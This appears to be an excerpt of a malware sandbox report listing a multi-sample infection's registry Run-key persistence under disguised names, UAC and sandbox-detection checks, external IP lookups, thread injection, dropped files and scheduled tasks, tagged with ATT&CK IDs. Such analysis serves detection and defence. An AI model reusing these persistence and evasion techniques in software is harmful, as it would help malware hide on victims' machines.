Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\setup = "\"C:\\Boot\\en-US\\setup.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Users\\Default\\Links\\WmiPrvSE.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\1f7193e1-6654-45b1-938c-e4d558782761\\E544.exe\" --AutoStart"	E544.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\service = "C:\\Users\\Admin\\AppData\\Local\\Temp\\46A2.exe"	mstsca.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Documents and Settings\\dllhost.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveStandaloneUpdater = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeCP = "\"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\resources\\MicrosoftEdgeCP.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\aicdhddy = "\"C:\\Users\\Admin\\yfdotocq.exe\""	A776.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeARM = "\"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveStandaloneUpdater = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WerFault = "\"C:\\Windows\\System32\\httpapi\\WerFault.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Users\\Default\\Links\\WmiPrvSE.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Defender\\Guwaehanima.exe\""	Ze2ro.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\AdobeARM = "\"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Documents and Settings\\dllhost.exe\""	DriverRealtekHDmaster.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WerFault = "\"C:\\Windows\\System32\\httpapi\\WerFault.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Boot\\bg-BG\\csrss.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Documents and Settings\\WmiPrvSE.exe\""	DriverRealtekHDmaster.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 29 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	F26HMOE0VyruSatwyckTLw9O.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4824160.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wwi.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	200D.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VDKr3kJPXY5MiEh2sgBh3rKq.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	bjR2Xj9UB1KeMGiahQDr2ahv.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4587407.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	gubOpckawV9YiBQZQEGZyim0.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8445878.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	237843444.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sun198361825f4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7E47t5OZ9Y2AslGLa71zs0Ko.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hnLz9ujGWUUQxBJp7pt3qDvv.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2634847.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6807.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	LivelyScreenRecF18.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Wilowesaly.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	D332.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7369647.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup_2.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	496239.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2826204.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	md8_8eus.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2lzrdpLz3EwEV8Dc9XpMntEo.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1700129.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	emBhBCB9JrvjwUss_kimXWYl.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ultramediaburner.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	UltraMediaBurner.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sun1966fb31dd5a07.tmp

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	installer.exe
File opened (read-only)	\??\S:	installer.exe
File opened (read-only)	\??\Z:	installer.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\E:	installer.exe
File opened (read-only)	\??\F:	installer.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	installer.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\X:	installer.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	installer.exe
File opened (read-only)	\??\G:	installer.exe
File opened (read-only)	\??\T:	installer.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	installer.exe
File opened (read-only)	\??\K:	installer.exe
File opened (read-only)	\??\V:	installer.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	installer.exe
File opened (read-only)	\??\P:	installer.exe
File opened (read-only)	\??\N:	installer.exe
File opened (read-only)	\??\O:	installer.exe
File opened (read-only)	\??\W:	installer.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\J:	installer.exe
File opened (read-only)	\??\M:	installer.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	installer.exe
File opened (read-only)	\??\U:	installer.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	installer.exe
File opened (read-only)	\??\Y:	installer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 14 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com
408	api.2ip.ua
802	api.2ip.ua
32	ipinfo.io
235	ipinfo.io
236	ipinfo.io
447	api.2ip.ua
625	ip-api.com
768	api.2ip.ua
803	api.2ip.ua
30	ipinfo.io
141	ipinfo.io
142	ipinfo.io
409	api.2ip.ua

Drops file in System32 directory 36 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #1	svchost.exe
File created	C:\Windows\System32\httpapi\ee201eac4591f0b16735de891f3d31be299085b8	DriverRealtekHDmaster.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #5	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2559286294-2439613352-4032193287-1000	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 5C233B31B7131217	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\User_Feed_Synchronization-{4F246605-F333-40E5-8FE6-2ED3621ADF90}	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl HR	svchost.exe
File created	C:\Windows\System32\KBDCZ\f3b6ecef712a24f33798f5d2fb3790c3d9b894c4	DriverRealtekHDmaster.exe
File created	C:\Windows\System32\httpapi\WerFault.exe	DriverRealtekHDmaster.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #6	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\WerFault	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\MicrosoftEdgeCP	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 765B1AC2E65D8707	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdobeARM	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\WmiPrvSE	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDriveStandaloneUpdater	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\EngineDriverMaster	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\csrss	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Azure-Update-Task	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\setup	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl LG	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\dllhost	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\spoolsv	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Time Trigger Task	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedUpdater	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #3	svchost.exe
File created	C:\Windows\System32\KBDCZ\spoolsv.exe	DriverRealtekHDmaster.exe
File opened for modification	C:\Windows\System32\Tasks\fontdrvhost	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 18 IoCs

pid	Process
4220	7369647.scr
1628	4587407.scr
5732	2lzrdpLz3EwEV8Dc9XpMntEo.exe
5620	1700129.scr
5976	7E47t5OZ9Y2AslGLa71zs0Ko.exe
6224	gubOpckawV9YiBQZQEGZyim0.exe
6116	F26HMOE0VyruSatwyckTLw9O.exe
6412	4824160.exe
7040	hnLz9ujGWUUQxBJp7pt3qDvv.exe
7032	emBhBCB9JrvjwUss_kimXWYl.exe
7140	496239.exe
6704	8445878.exe
5344	wwi.exe
524	2826204.scr
8004	2634847.scr
9716	D332.exe
9896	200D.exe
9088	6807.exe

Suspicious use of SetThreadContext 31 IoCs

description	pid	Process	procid_target
PID 2788 set thread context of 5388	2788	svchost.exe	134
PID 2788 set thread context of 5816	2788	svchost.exe	202
PID 5852 set thread context of 5056	5852	vJsRieSJjWMc0EdygYU_6eeY.exe	182
PID 5796 set thread context of 1636	5796	emWhgHV8U1Es49MkR7UHHWse.exe	186
PID 6388 set thread context of 6716	6388	B6srqwApy9H9mq1fCjmNFEFo.exe	213
PID 6940 set thread context of 6908	6940	services64.exe	254
PID 10208 set thread context of 6296	10208	B094.exe	283
PID 9396 set thread context of 9804	9396	B9ED.exe	284
PID 8428 set thread context of 1040	8428	E544.exe	291
PID 8636 set thread context of 3280	8636	E544.exe	304
PID 4372 set thread context of 8528	4372	build2.exe	329
PID 7352 set thread context of 2284	7352	build3.exe	332
PID 6956 set thread context of 9760	6956	D28F.exe	354
PID 9752 set thread context of 7824	9752	A776.exe	411
PID 9932 set thread context of 4456	9932	mstsca.exe	414
PID 7864 set thread context of 7636	7864	mstsca.exe	421
PID 7012 set thread context of 9736	7012	mstsca.exe	425
PID 3872 set thread context of 3684	3872	mstsca.exe	427
PID 9024 set thread context of 6496	9024	mstsca.exe	433
PID 5832 set thread context of 6132	5832	mstsca.exe	437
PID 3300 set thread context of 6956	3300	tghcfsw	438
PID 8828 set thread context of 1808	8828	mstsca.exe	440
PID 1880 set thread context of 5056	1880	mstsca.exe	442
PID 9688 set thread context of 9768	9688	mstsca.exe	450
PID 4728 set thread context of 8304	4728	E544.exe	452
PID 9628 set thread context of 8884	9628	mstsca.exe	456
PID 9056 set thread context of 8640	9056	mstsca.exe	458
PID 8420 set thread context of 5736	8420	mstsca.exe	460
PID 7456 set thread context of 7020	7456	mstsca.exe	466
PID 8336 set thread context of 9384	8336	mstsca.exe	468
PID 9536 set thread context of 5480	9536	E544.exe	470

Drops file in Program Files directory 33 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	VDKr3kJPXY5MiEh2sgBh3rKq.exe
File created	C:\Program Files\Mozilla Firefox\CLODCIRXRY\ultramediaburner.exe.config	Ze2ro.exe
File created	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM\AdobeARM.exe	DriverRealtekHDmaster.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	md8_8eus.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.jfm	md8_8eus.exe
File created	C:\Program Files (x86)\Windows Defender\Guwaehanima.exe	Ze2ro.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM\f7b06f8bc5a0208bf7a6956e8e8fd4a95783d0c2	DriverRealtekHDmaster.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url	msiexec.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	VDKr3kJPXY5MiEh2sgBh3rKq.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	VDKr3kJPXY5MiEh2sgBh3rKq.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	cmd.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	md8_8eus.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	md8_8eus.exe
File created	C:\Program Files\Mozilla Firefox\CLODCIRXRY\ultramediaburner.exe	Ze2ro.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-NMUH6.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM\AdobeARM.exe	DriverRealtekHDmaster.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	VDKr3kJPXY5MiEh2sgBh3rKq.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	VDKr3kJPXY5MiEh2sgBh3rKq.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	cmd.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url	msiexec.exe
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	md8_8eus.exe
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk	msiexec.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini	msiexec.exe
File created	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	msiexec.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-5IQCK.tmp	setup_2.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-BVMQK.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	md8_8eus.exe
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	msiexec.exe

Drops file in Windows directory 49 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSIFDBD.tmp	msiexec.exe
File created	C:\Windows\Installer\3f198.msi	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSI5765.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI890D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8B63.tmp	msiexec.exe
File created	C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\resources\2e75237d476912c58baf4be582b899ea4ffa1fbb	DriverRealtekHDmaster.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSIFD5E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8013.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI89E9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8AF5.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8F0F.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5D72.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8A67.tmp	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI67A6.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI897B.tmp	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSI4E3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5A26.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	Explorer.EXE
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\3f195.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF7FD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFFB2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6E8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6862.tmp	msiexec.exe
File created	C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\resources\MicrosoftEdgeCP.exe	DriverRealtekHDmaster.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Installer\3f195.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFC92.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5EBB.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 24 IoCs

pid	pid_target	Process	procid_target
2784	4896	WerFault.exe	100
5928	4400	WerFault.exe	114
5028	5816	WerFault.exe	148
6084	4896	WerFault.exe	100
6388	4400	WerFault.exe	114
6812	4896	WerFault.exe	100
5288	4400	WerFault.exe	114
6248	4740	WerFault.exe	101
6396	5884	WerFault.exe	154
3064	4896	WerFault.exe	100
1836	4400	WerFault.exe	114
5816	5884	WerFault.exe	154
3704	4400	WerFault.exe	114
7052	348	WerFault.exe	119
2892	5884	WerFault.exe	154
6396	4400	WerFault.exe	114
4840	5884	WerFault.exe	154
7264	4896	WerFault.exe	100
7640	4400	WerFault.exe	114
7816	5884	WerFault.exe	154
8016	5884	WerFault.exe	154
7208	5884	WerFault.exe	154
8048	5884	WerFault.exe	154
596	5420	WerFault.exe	141

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B6srqwApy9H9mq1fCjmNFEFo.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B6srqwApy9H9mq1fCjmNFEFo.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B6srqwApy9H9mq1fCjmNFEFo.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B094.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tghcfsw
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tghcfsw
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B094.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B094.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tghcfsw

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 19 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5396	schtasks.exe
4988	schtasks.exe
2552	schtasks.exe
7500	schtasks.exe
8852	schtasks.exe
7232	schtasks.exe
6264	schtasks.exe
5912	schtasks.exe
5508	schtasks.exe
7224	schtasks.exe
9036	schtasks.exe
8736	schtasks.exe
9012	schtasks.exe
